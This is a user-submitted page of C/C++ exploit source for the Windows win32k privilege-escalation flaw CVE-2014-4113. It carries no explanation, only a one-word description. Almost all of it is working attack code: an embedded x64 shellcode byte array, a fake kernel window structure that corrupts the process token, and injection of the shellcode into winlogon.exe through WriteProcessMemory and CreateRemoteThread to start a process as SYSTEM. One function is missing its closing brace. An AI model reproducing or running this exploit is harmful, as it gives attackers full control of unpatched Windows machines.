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User Submitted Source Code!


Description:
  no
Language: C/C++
Code:
#include "hd.h"

// EDB Note ~ Download: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/46945.rar


byte __s_code[]={
     0x48 ,0x8B ,0xC4 ,0x48 ,0x89 ,0x58 ,0x08 ,0x48 ,0x89 ,0x68 ,0x20 ,0x56 ,0x57 ,0x41 ,0x56 ,0x48 ,
     0x81 ,0xEC ,0xE0 ,0x00 ,0x00 ,0x00 ,0x45 ,0x33 ,0xF6 ,0x49 ,0x89 ,0xCB ,0x4C ,0x89 ,0x70 ,0x18 ,
     0x4C ,0x89 ,0x70 ,0x10 ,0x90 ,0x65 ,0x48 ,0x8B ,0x04 ,0x25 ,0x30 ,0x00 ,0x00 ,0x00 ,0x48 ,0x8B ,
     0x40 ,0x60 ,0x90 ,0x90 ,0x90 ,0x90 ,0x48 ,0x8B ,0x78 ,0x18 ,0x48 ,0x8B ,0x47 ,0x10 ,0x48 ,0x83 ,
     0xC7 ,0x10 ,0x48 ,0x3B ,0xC7 ,0x0F ,0x84 ,0x99 ,0x01 ,0x00 ,0x00 ,0x48 ,0xBB ,0x65 ,0x00 ,0x6C ,
     0x00 ,0x33 ,0x00 ,0x32 ,0x00 ,0x48 ,0xBE ,0x2E ,0x00 ,0x64 ,0x00 ,0x6C ,0x00 ,0x6C ,0x00 ,0x49 ,
     0xBA ,0x6B ,0x00 ,0x65 ,0x00 ,0x72 ,0x00 ,0x6E ,0x00 ,0x48 ,0xBD ,0x4B ,0x00 ,0x45 ,0x00 ,0x52 ,
     0x00 ,0x4E ,0x00 ,0x49 ,0xB8 ,0x45 ,0x00 ,0x4C ,0x00 ,0x33 ,0x00 ,0x32 ,0x00 ,0x49 ,0xB9 ,0x2E ,
     0x00 ,0x44 ,0x00 ,0x4C ,0x00 ,0x4C ,0x00 ,0x66 ,0x0F ,0x1F ,0x84 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,
     0x66 ,0x83 ,0x78 ,0x58 ,0x18 ,0x48 ,0x8B ,0x48 ,0x60 ,0x72 ,0x25 ,0x48 ,0x8B ,0x11 ,0x49 ,0x3B ,
     0xD2 ,0x75 ,0x0C ,0x48 ,0x39 ,0x59 ,0x08 ,0x75 ,0x06 ,0x48 ,0x39 ,0x71 ,0x10 ,0x74 ,0x1E ,0x48 ,
     0x3B ,0xD5 ,0x75 ,0x0C ,0x4C ,0x39 ,0x41 ,0x08 ,0x75 ,0x06 ,0x4C ,0x39 ,0x49 ,0x10 ,0x74 ,0x0D ,
     0x48 ,0x8B ,0x00 ,0x48 ,0x3B ,0xC7 ,0x75 ,0xC8 ,0xE9 ,0x17 ,0x01 ,0x00 ,0x00 ,0x48 ,0x8B ,0x78 ,
     0x30 ,0x48 ,0x85 ,0xFF ,0x0F ,0x84 ,0x0A ,0x01 ,0x00 ,0x00 ,0x48 ,0x63 ,0x47 ,0x3C ,0xB9 ,0x4D ,
     0x5A ,0x00 ,0x00 ,0x66 ,0x39 ,0x0F ,0x0F ,0x85 ,0xF8 ,0x00 ,0x00 ,0x00 ,0x81 ,0x3C ,0x38 ,0x50 ,
     0x45 ,0x00 ,0x00 ,0x0F ,0x85 ,0xEB ,0x00 ,0x00 ,0x00 ,0x44 ,0x8B ,0x8C ,0x38 ,0x88 ,0x00 ,0x00 ,
     0x00 ,0x49 ,0x8B ,0xD6 ,0x4C ,0x03 ,0xCF ,0x45 ,0x8B ,0x41 ,0x20 ,0x41 ,0x8B ,0x49 ,0x18 ,0x4C ,
     0x03 ,0xC7 ,0x48 ,0x85 ,0xC9 ,0x74 ,0x32 ,0x48 ,0xBB ,0x43 ,0x72 ,0x65 ,0x61 ,0x74 ,0x65 ,0x50 ,
     0x72 ,0x49 ,0xBA ,0x72 ,0x6F ,0x63 ,0x65 ,0x73 ,0x73 ,0x41 ,0x00 ,0x0F ,0x1F ,0x44 ,0x00 ,0x00 ,
     0x41 ,0x8B ,0x04 ,0x90 ,0x48 ,0x39 ,0x1C ,0x38 ,0x75 ,0x07 ,0x4C ,0x39 ,0x54 ,0x38 ,0x07 ,0x74 ,
     0x08 ,0x48 ,0xFF ,0xC2 ,0x48 ,0x3B ,0xD1 ,0x72 ,0xE7 ,0x33 ,0xC0 ,0x48 ,0x3B ,0xD1 ,0x0F ,0x83 ,
     0x92 ,0x00 ,0x00 ,0x00 ,0x41 ,0x8B ,0x49 ,0x24 ,0x45 ,0x33 ,0xC0 ,0x48 ,0x03 ,0xCF ,0x0F ,0xB7 ,
     0x14 ,0x51 ,0x41 ,0x8B ,0x49 ,0x1C ,0x45 ,0x33 ,0xC9 ,0x48 ,0x03 ,0xCF ,0x44 ,0x8B ,0x14 ,0x91 ,
     0x48 ,0x89 ,0x44 ,0x24 ,0x58 ,0x48 ,0x89 ,0x44 ,0x24 ,0x60 ,0x4C ,0x03 ,0xD7 ,0x48 ,0x8D ,0x7C ,
     0x24 ,0x70 ,0xB9 ,0x68 ,0x00 ,0x00 ,0x00 ,0xF3 ,0xAA ,0xB8 ,0x05 ,0x00 ,0x00 ,0x00 ,0x49 ,0x8B ,
     0xD3 ,0x66 ,0x89 ,0x84 ,0x24 ,0xB0 ,0x00 ,0x00 ,0x00 ,0x48 ,0x8D ,0x44 ,0x24 ,0x50 ,0x33 ,0xC9 ,
     0x48 ,0x89 ,0x44 ,0x24 ,0x48 ,0x48 ,0x8D ,0x44 ,0x24 ,0x70 ,0x4C ,0x89 ,0x74 ,0x24 ,0x50 ,0x48 ,
     0x89 ,0x44 ,0x24 ,0x40 ,0x4C ,0x89 ,0x74 ,0x24 ,0x38 ,0x4C ,0x89 ,0x74 ,0x24 ,0x30 ,0xC7 ,0x44 ,
     0x24 ,0x28 ,0x10 ,0x00 ,0x00 ,0x00 ,0xC7 ,0x44 ,0x24 ,0x70 ,0x68 ,0x00 ,0x00 ,0x00 ,0xC7 ,0x84 ,
     0x24 ,0xAC ,0x00 ,0x00 ,0x00 ,0x01 ,0x00 ,0x00 ,0x00 ,0xC7 ,0x44 ,0x24 ,0x20 ,0x01 ,0x00 ,0x00 ,
     0x00 ,0x41 ,0xFF ,0xD2 ,0x33 ,0xC0 ,0x4C ,0x8D ,0x9C ,0x24 ,0xE0 ,0x00 ,0x00 ,0x00 ,0x49 ,0x8B ,
     0x5B ,0x20 ,0x49 ,0x8B ,0x6B ,0x38 ,0x49 ,0x8B ,0xE3 ,0x41 ,0x5E ,0x5F ,0x5E ,0xC3
};




HMENU __init_menu(
     )
{
     HMENU hMenu_Ret=NULL;
     MENUITEMINFO mItem={0};

     do 
     {
          HMENU hme=CreatePopupMenu();
          if (hme==NULL){
               printf("CreatePopupMenu()_1 fail:0x%xn" ,GetLastError());
               break;
          }

          mItem.cbSize=sizeof(MENUITEMINFO);
          mItem.fMask=(MIIM_STRING);

          bool bisok=InsertMenuItem(hme ,0 ,1 ,&mItem);
          if (bisok==false){
               printf("InsertMenuItem()_1 fail:0x%xn" ,GetLastError());
               break;
          }

          hMenu_Ret=CreatePopupMenu();
          if (hMenu_Ret==NULL){
               printf("CreatePopupMenu()_2 fail:0x%xn" ,GetLastError());
               break;
          }

          MENUITEMINFO mi={0};
          mi.cbSize=sizeof(mi);
          mi.fMask=(MIIM_STRING|MIIM_SUBMENU);
          mi.hSubMenu=hme;
          mi.dwTypeData="";
          mi.cch=1;

          bisok=InsertMenuItem(hMenu_Ret ,0 ,1 ,&mi);
          if (bisok==false){
               printf("InsertMenuItem()_2 fail: 0x%xn" ,GetLastError());
          }

     } while (false);

     return hMenu_Ret;
}


PVOID __calc_sep_token_addr(
     )
{
     NTSTATUS status;
     PSYSTEM_HANDLE_INFORMATION handleInfo=NULL;
     ULONGLONG handleInfoSize = 0x10000 ,i ,ret_obj_addr=NULL; 

     do 
     {
          _NtQuerySystemInformation NtQuerySystemInformation = 
               (_NtQuerySystemInformation)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQuerySystemInformation");

          _NtDuplicateObject NtDuplicateObject =
               (_NtDuplicateObject)GetProcAddress(LoadLibrary("ntdll.dll"), "NtDuplicateObject");

          _NtQueryObject NtQueryObject =
               (_NtQueryObject)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQueryObject");


          if (!NtQuerySystemInformation || !NtDuplicateObject || !NtQueryObject){
               printf("get sys proc failed!n");
               break;
          }

          handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);

          while ((status = NtQuerySystemInformation(SystemHandleInformation,handleInfo,
               handleInfoSize,NULL)) == STATUS_INFO_LENGTH_MISMATCH)
               handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);

          if (!NT_SUCCESS(status)){
               printf("NtQuerySystemInformation failed!n");
               break;
          }


          POBJECT_TYPE_INFORMATION objectTypeInfo=(POBJECT_TYPE_INFORMATION)malloc(0x1000);

          for (i = 0; i < handleInfo->HandleCount; i++)
          {
               SYSTEM_HANDLE handle = handleInfo->Handles[i];

               if (handle.ProcessId != GetCurrentProcessId())
                    continue;

               if (!NT_SUCCESS(NtQueryObject(
                    (HANDLE)handle.Handle,
                    ObjectTypeInformation,
                    objectTypeInfo,
                    0x1000,
                    NULL
                    )))
               {
                    printf("[%#x] Error!n", handle.Handle);
                    continue;
               }

               if (objectTypeInfo->Name.Buffer==NULL || objectTypeInfo->Name.Length==0)
                    continue;

               if (wcscmp(objectTypeInfo->Name.Buffer ,L"Token"))
                    continue;

               ret_obj_addr=((ULONGLONG)handle.Object+0x40);
          }

          if (objectTypeInfo)
               free(objectTypeInfo);

          if (handleInfo)
               free(handleInfo);

     } while (false);

     return (PVOID)ret_obj_addr;
}


ULONGLONG __calc_pid(
     )
{
     NTSTATUS status;
     PSYSTEM_PROCESS_INFORMATION PsInfo=NULL;
     ULONGLONG PsInfoSize = 0x10000 ,ret_pid=NULL; 

     do 
     {
          _NtQuerySystemInformation NtQuerySystemInformation = 
               (_NtQuerySystemInformation)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQuerySystemInformation");


          if (!NtQuerySystemInformation){
               printf("get sys proc failed!n");
               break;
          }

          PsInfo = (PSYSTEM_PROCESS_INFORMATION)malloc(PsInfoSize);

          while ((status = NtQuerySystemInformation(SystemProcessesAndThreadsInformation,PsInfo,
               PsInfoSize ,NULL)) == STATUS_INFO_LENGTH_MISMATCH)
               PsInfo = (PSYSTEM_PROCESS_INFORMATION)realloc(PsInfo, PsInfoSize*= 2);

          if (!NT_SUCCESS(status)){
               printf("NtQuerySystemInformation failed!n");
               break; 
          }

          for (;PsInfo->NextEntryDelta ;PsInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONGLONG)PsInfo + PsInfo->NextEntryDelta))
          {
               if (PsInfo->ProcessName.Buffer==NULL || PsInfo->ProcessName.Length==0)
                    continue;

               if (!wcscmp(PsInfo->ProcessName.Buffer ,L"winlogon.exe")){
                    ret_pid=PsInfo->InheritedFromProcessId;
                    break;
               }
          }

     } while (false);

     return ret_pid;



ULONGLONG __init_fake_wnd_pti(
     )
{
     ULONGLONG ret_pti=NULL;
     ULONGLONG dst_proc_addr=NULL;

     do 
     {
          ret_pti=(ULONGLONG)malloc(0x500);
          if (ret_pti==NULL){
               printf("malloc fail!n");
               return NULL; 
          }

          *(ULONGLONG*)(ret_pti+_oft_win32ps_pti)=0;  //Win32Process
          *(DWORD*)(ret_pti+_oft_0420h_pti)=0;          //not 0x20
          *(ULONGLONG*)(ret_pti+_oft_list_header_pti)=(ULONGLONG)__calc_sep_token_addr()-0x5;  //TODO:

          void* tmpbuf=malloc(0x100); 
          memset(tmpbuf ,0 ,0x100);
          *(ULONGLONG*)(ret_pti+_oft_0188h_pti)=(ULONGLONG)tmpbuf; //buf addr(size >= 0x12) ,check in win32k!SetWakeBit

     } while (false);

     return ret_pti;
}



bool __init_fake_tagWnd(
     )
{
     bool bRet=false;
     _ZwAllocateVirtualMemory_pt pfn_ZwAllocateVm=NULL;

     do 
     {
          HMODULE hmd=LoadLibrary("ntdll.dll");
          if (hmd==NULL)
               break;

          ULONGLONG fake_tagwnd_pti=__init_fake_wnd_pti();
          if (fake_tagwnd_pti==NULL){
               printf("__calc_wnd_pti() fail!n");
               break;
          }


          pfn_ZwAllocateVm=(_ZwAllocateVirtualMemory_pt)GetProcAddress(hmd ,"ZwAllocateVirtualMemory");
          if (pfn_ZwAllocateVm==NULL){
               printf("pfn ZwAllocateVirtualMemery addr is NULL!n");
               break;
          }

          BYTE* fake_tagWnd_addr=(BYTE*)0xFFFFFFFB; size_t region_size=0x20000;
          NTSTATUS status=pfn_ZwAllocateVm(GetCurrentProcess() ,(PVOID*)&fake_tagWnd_addr ,0 ,®ion_size,
               MEM_RESERVE | MEM_COMMIT|MEM_TOP_DOWN ,PAGE_EXECUTE_READWRITE);

          if (status < 0){
               printf("Allocate fake tagWnd fail!n");
               break;;
          }

          ULONGLONG ul_align=0xFFFFFFFBLL-(ULONGLONG)fake_tagWnd_addr;
          if (ul_align > 0x10000){
               printf("alloc fake fail: %x!n" ,fake_tagWnd_addr);
               break;
          }

          memset(fake_tagWnd_addr+ul_align ,0 ,0x1000);

          *(ULONGLONG*)(fake_tagWnd_addr+ul_align+_oft_idx_tagWND)=0x0;
          *(ULONGLONG*)(fake_tagWnd_addr+ul_align+_oft_pti_tagWnd)=fake_tagwnd_pti; //oft 0x170 == win32process
          *(ULONGLONG*)(fake_tagWnd_addr+ul_align+_oft_18h_tagWnd)=0x0; //0 ,check in IsWindowDesktopComposed

          bRet=true;

     } while (false);

     return bRet;
}



LRESULT __stdcall __wh_wnd_proc( 
     int code, 
     WPARAM wparam,
     LPARAM lparam 
     )
{
     do 
     {
          CWPSTRUCT* lpm=(CWPSTRUCT*)lparam;
          if (lpm->message != MN_FINDWINDOWFROMPOINT || g_bis_mn_findwnded==true)
               break;

          g_bis_mn_findwnded=true;

          UnhookWindowsHook(WH_CALLWNDPROC ,__wh_wnd_proc);

          g_ori_wnd_proc=(WNDPROC)SetWindowLongPtr(lpm->hwnd ,GWLP_WNDPROC ,(LONG_PTR)__wnd_proc_sl);

     } while (false);

     return CallNextHookEx(g_hhk ,code ,wparam ,lparam);
}




LRESULT __wnd_proc_sl( 
     HWND hwnd,
     UINT umsg,
     WPARAM wparam, 
     LPARAM lparam
     )
{
     do 
     {
          if (umsg != MN_FINDWINDOWFROMPOINT )
               break;

          if (g_bis_endmenu)
               break;

          g_bis_endmenu=1;

          EndMenu();
          return 0xFFFFFFFB;

     } while (false);

     return CallWindowProc(g_ori_wnd_proc ,hwnd ,umsg ,wparam ,lparam);
}



LRESULT __stdcall __wnd_proc(
     HWND hwnd, 
     UINT umsg, 
     WPARAM wparam, 
     LPARAM lparam
     )
{
     if (umsg==WM_ENTERIDLE && g_bis_idled==FALSE)
     {
          g_bis_idled=TRUE;
          PostMessage(hwnd ,WM_KEYFIRST ,0x28 ,0);    
          PostMessage(hwnd ,WM_KEYFIRST ,0X27 ,0);   
          PostMessage(hwnd ,WM_LBUTTONDOWN ,0 ,0xff00ff);  
     }

     return DefWindowProc(hwnd ,umsg ,wparam ,lparam);
}


DWORD __stdcall __thread_plroc( 
     void*  param
     )
{
     bool bisok=false;
     WNDCLASS wndcls={0};

     do 
     {
          wndcls.lpfnWndProc=__wnd_proc;
          wndcls.lpszClassName="cve_2014_4113";
          RegisterClass(&wndcls);

          HWND hwnd=CreateWindowEx(0 ,wndcls.lpszClassName ,NULL ,0 ,0 ,0,
               200 ,200 ,NULL ,NULL ,NULL ,NULL);
          if (hwnd==NULL){
               printf("CreateWindowEx() fail: 0x%xn" ,GetLastError());
               break;
          }

          HMENU hmenu=__init_menu();
          if (hmenu==NULL){
               printf("__init_menu() fail: 0x%xn" ,GetLastError());
               break;
          }

          
          bool bisok=__init_fake_tagWnd();
          if (bisok==false){
               printf("__init_fake_tagWnd() fail:0x%xn" ,GetLastError());
               break;
          }
          
          g_hhk=SetWindowsHookEx(WH_CALLWNDPROC ,__wh_wnd_proc ,NULL ,GetCurrentThreadId());
          if (g_hhk==NULL){
               printf("SetWindowsHookEx() fail:0x%xn" ,GetLastError());
               break;
          }

          bisok=TrackPopupMenu(hmenu ,0 ,0x0FFFFD8F0 ,0x0FFFFD8F0 ,0 ,hwnd ,NULL);
          if (bisok==false){
               printf("TrackPopupMenu() fail:0x%xn" ,GetLastError());
               break;
          }

          CloseHandle(hmenu);

          DestroyWindow(hwnd);

     } while (FALSE);

     return 0;
}



int main(
     int argc ,char** argv
     )
{
     bool bisok=false;

     do 
     {
          if (argc != 2){
               printf("usage: xxx fpath");
               break;
          }

          HANDLE hProcessToken=NULL ,hRestrictedToken=NULL;
          if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hProcessToken)) {
               printf("Could not open process tokenn");
               break; 
          }

          if (!CreateRestrictedToken(hProcessToken, DISABLE_MAX_PRIVILEGE, 0, 0, 0, 0, 0, 0, &hRestrictedToken)){
               printf("Could not create restricted tokenn");
               break;
          }

          if (!AdjustTokenPrivileges(hRestrictedToken, TRUE, NULL, 0, NULL, NULL)) {
               printf("Could not adjust privilegesn");
               break;
          }
          
          CloseHandle(hProcessToken);

          HANDLE hthread=CreateThread(NULL ,0 ,__thread_plroc ,NULL ,0 ,NULL);
          if (hthread==NULL){
               printf("CreateThread() fail: 0x%xn" ,GetLastError());
               break;
          }

          WaitForSingleObject(hthread ,1000);
          TerminateThread(hthread ,0);
          
          if (!ImpersonateLoggedOnUser(hRestrictedToken)){
               printf("ImpersonateLoggedOnUser failed!n");
               break;
          }
          
          PVOID pfn_cps=GetProcAddress(LoadLibrary("Kernel32.dll") ,"CreateProcessA");
          if (pfn_cps==NULL){
               printf("GetProcess CreateProcessA failed!n");
               break;
          }
          
          ULONGLONG ul_pid_winlogon=__calc_pid();
          if (ul_pid_winlogon==NULL){
               printf("__calc_winlogon_pid failed!n");
               break;
          }


          HANDLE hprocess=OpenProcess(PROCESS_ALL_ACCESS ,TRUE ,ul_pid_winlogon);
          if (hprocess==NULL){
               printf("OpenProcess failed: %xn" ,GetLastError());
               break;
          }


          //init params
          PVOID params=VirtualAllocEx(hprocess ,NULL ,strlen(argv[1])+10 ,MEM_COMMIT ,PAGE_READWRITE);
          if (params==NULL){
               printf("VirtualAllocEx failed:%xn" ,GetLastError());
               break;
          }

          ULONGLONG ul_ret_wrt=0;
          bisok=WriteProcessMemory(hprocess ,params ,argv[1] ,strlen(argv[1])+2 ,(SIZE_T*)&ul_ret_wrt);
          if (bisok==false || ul_ret_wrt < strlen(argv[1])+2){
               printf("WriteProcessMemory() failed!n");
               break;
          } 


          //init shellcode

          PVOID shellcode=VirtualAllocEx(hprocess ,NULL ,0x220 ,MEM_COMMIT ,PAGE_EXECUTE_READWRITE);
          if (shellcode==NULL){
               printf("VirtualAllocEx failed:%xn" ,GetLastError());
               break;
          }

          bisok=WriteProcessMemory(hprocess ,shellcode ,__s_code ,sizeof(__s_code) ,(SIZE_T*)&ul_ret_wrt);
          if (bisok==false || ul_ret_wrt < sizeof(__s_code)){
               printf("WriteProcessMemory() failed!n");
               break;
          }

          DWORD dw_tid=0;
          HANDLE htd_rmt=CreateRemoteThread(hprocess ,NULL ,0 ,(LPTHREAD_START_ROUTINE )shellcode ,params ,0 ,&dw_tid);
          if (htd_rmt==NULL){
               printf("CreateRemoteThread() fail!n");
               break;
          }


          //clear

          CloseHandle(htd_rmt);

          CloseHandle(hprocess);

          CloseHandle(hRestrictedToken);

     } while (false);
     
     return 0;
}
          
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